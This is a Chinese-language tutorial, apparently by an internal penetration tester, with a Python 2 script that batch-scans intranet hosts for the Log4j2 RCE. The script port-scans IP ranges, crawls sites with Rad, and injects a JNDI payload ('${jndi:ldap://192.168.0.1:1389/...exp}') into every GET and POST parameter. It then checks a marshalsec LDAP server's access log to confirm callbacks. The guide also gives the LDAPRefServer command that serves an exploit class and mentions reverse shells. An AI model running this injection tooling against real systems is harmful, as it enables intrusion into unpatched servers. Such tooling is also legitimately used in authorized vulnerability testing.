内网批量扫描Aapache Log4j2 RCE
Apache Log4j2 远程代码执行漏洞爆出有一段时间了,github上与之相关的扫描脚本也已经有很多了。但是这些工具放到内网并不好使,因为脚本扫描原理通常都基于Dnslog等服务端的回显信息来判断漏洞是否存在,而我们内网是没有Dnslog的。
解决方法有两种,一是在内网搭建Dnslog观察是否有回显,二是搭建ldap服务观察是否可以反弹shell。第一种姿势需要在内网注册一个域名,考虑到自己只是一个权限低微的测试员,就放弃了这种想法;第二种姿势利用起来没有什么难度,使用marshalsec开启ldap服务即可。但我们现在要做的是批量扫描,不断检测是否反弹shell还是太慢了。
批量扫描、不借助dnslog、力求准确快速,咋整呢?通过测试发现,当log4j2 漏洞发生时,ldap服务下是可以看到访问记录的,那我们就可以通过发送特定payload再查看ldap的访问记录来锁定漏洞点。大致步骤如下:
利用Rad(长亭开发的爬虫软件)收集目标域名下的所有网页
利用python对Rad收集的数据进行处理,即在GET以及POST参数位置替换为log4j2 rce的payload
在内网服务器上使用marshalsec开启ldap服务,并将访问结果保存到web路径下,命名为record.bin
利用python将第2步中已处理的数据发送到目标主机,然后不断访问内网服务器的record.bin判断payload是否执行
需要用到的工具:
Rad、谷歌浏览器(Rad扫描的依赖)、python执行环境以及marshalsec
内网服务端运行:
在1389端口开启ldap,并在80端口开启web
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://内网服务器ip:80/\#Exploit 1389
本地运行脚本:
python log4j-test.py 目标ip 目标port
#coding=utf-8
import sys
import os
import socket
import datetime
import urllib
import requests
import time
#把ip和port列为标准格式,192.168.0.1-192.168.0.255,127.0.0.1,www.baid.com
if len(sys.argv)==2:
ip_str=sys.argv[1]
port_str=''
elif len(sys.argv)==3:
ip_str=sys.argv[1]
port_str=sys.argv[2]
else:
print 'python log4j2-test.py ip port'
sys.exit()
ip_list=[]
tmp=ip_str.split(',')
for i in range(len(tmp)):
if "-" in tmp[i]:
s=tmp[i].split('-')[0]
e=tmp[i].split('-')[1]
for j in range(int(s.split('.')[3]),int(e.split('.')[3])+1):
ip_list.append(s[0:s.rfind('.')+1]+str(j))
else:
ip_list.append(tmp[i])
#print ip_list
port_list=[]
tmp=port_str.split(',')
for i in range(len(tmp)):
if "-" in tmp[i]:
s=tmp[i].split('-')[0]
e=tmp[i].split('-')[1]
for j in range(int(s),int(e)+1):
port_list.append(str(j))
else:
port_list.append(tmp[i])
#print port_list
#ip和port循环遍历,调用socket判断端口是否开放
print 'testing ip & port.........'
url_list=[]
for i in range(len(ip_list)):
for j in range(len(port_list)):
try:
url=ip_list[i]+':'+port_list[j]
#print url
conn=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.settimeout(0.1)
conn.connect((ip_list[i],int(port_list[j])))#connect(),参数为元组形式,ip是字符串,port是整型
print url+' is alive'
conn.shutdown(2)
conn.close()
url_list.append('http://'+url)
url_list.append('https://'+url)
except:
pass
#遍历url,调用rad存放于文件中,读取文件,对发包数据进行poc替换,再发送
#poc替换
def Poc_Exchange(f,poc):
tmp=''
while True:
k=f.readline()
if 'GET' in k and '?' not in k:
while '---------' not in k:
k=f.readline()
if not k:
break
if 'GET /' in k and '?' in k:
s=k.find('=')
e=k.find(' ',s)
tmp+=k.replace(k[s+1:e],urllib.quote(poc))
k=f.readline()
while '-------' not in k:
tmp+=k
k=f.readline()
if not k:
tmp+="$@*@*@$"
break
tmp+="$@*@*@$"
if 'POST /' in k:
tmp+=k
while '--------' not in k:
k=f.readline()
if k=='\n':
tmp+=k
k=f.readline()
if k.count('=')==1:
s=k.find('=')
k=k.replace(k[s+1:],poc+'$@*@*@$')
tmp+=k
elif k.count('=')>1:
s=0
for j in range(k.count('=')):
s=k.find('=',s)
e=k.find('&',s)
if e!=-1:
k=k.replace(k[s+1:e],poc)
s=s+len(poc)
else:
k=k.replace(k[s+1:],poc+'$@*@*@$')
tmp+=k
else:
tmp+='payload='+poc+'$@*@*@$'
break
else:
tmp+=k
if not k:
break
return tmp
#socket发包
def Soc_Send(request,identifier):
tmp=request.split('\r\n')
for i in range(len(tmp)):
if 'Host:' in tmp[i]:
s=tmp[i].find('Host: ')+len('Host: ')
e=tmp[i].find(':',s)
if e==-1:
ip=tmp[i][s:]
port=80
else:
ip=tmp[i][s:e]
port=int(tmp[i][e+1:])
print (ip,port)
break
conn=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
conn.connect((ip,port))
conn.send(request)
time.sleep(1)
r=requests.get('http://192.168.0.1:80/record.bin')
print r.text
if identifier in r.text:
return True
else:
return False
#整合
for i in range(len(url_list)):
t=datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')
cmd=' .\\rad_windows_386.exe -t '+url_list[i]+' --full '+'tmp'+t+'.txt'#文件名不可用.
print cmd
os.system(cmd)
print 'payload is exchanging...'
with open('tmp'+t+'.txt','rb')as f:#
tmp=Poc_Exchange(f,'${jndi:ldap://192.168.0.1:1389/'+t+'exp}')
if len(tmp)!=0:
tmp=tmp.split('$@*@*@$')
for j in range(len(tmp)):
if tmp[j]!='':
ss=Soc_Send(tmp[j],t)
if ss :
with open('log4j-result','ab') as f1:
f1.write(url_list[i]+'\n')
print url_list[i]+' has log4j2 vulnerable!!!\n'
else:
print url_list[i]+'pass\n'
else:
print 'no reasonable flow'
os.remove('tmp'+t+'.txt')